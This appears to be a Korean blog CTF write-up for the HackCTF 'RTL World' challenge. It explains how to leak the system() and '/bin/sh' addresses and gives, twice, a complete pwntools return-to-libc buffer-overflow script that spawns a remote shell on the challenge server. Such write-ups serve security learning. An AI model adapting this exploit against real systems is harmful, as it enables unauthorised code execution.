ASLR이 켜져있다.

그래서 RTL을 하기 위한 system 함수의 위치와 "/bin/sh" 문자열의 위치를 찾아야 하는데,

Get the System Armor와 Get the Shell Sword에서 system 함수의 위치와 "/bin/sh" 문자열의 주소를 출력해준다.

그러기 위해선 돈이 1999+2999 만큼 필요한데 Get_Money 함수에 가보면

4를 입력하면 돈이 랜덤값으로 정해진다.

from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

 

그럼 그 다음에 system 함수 주소와 /bin/sh 문자열 주소를 얻자

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

 

그리고 canary도 없으니 바로 공격한다

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

11. RTL  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11

+ Recent posts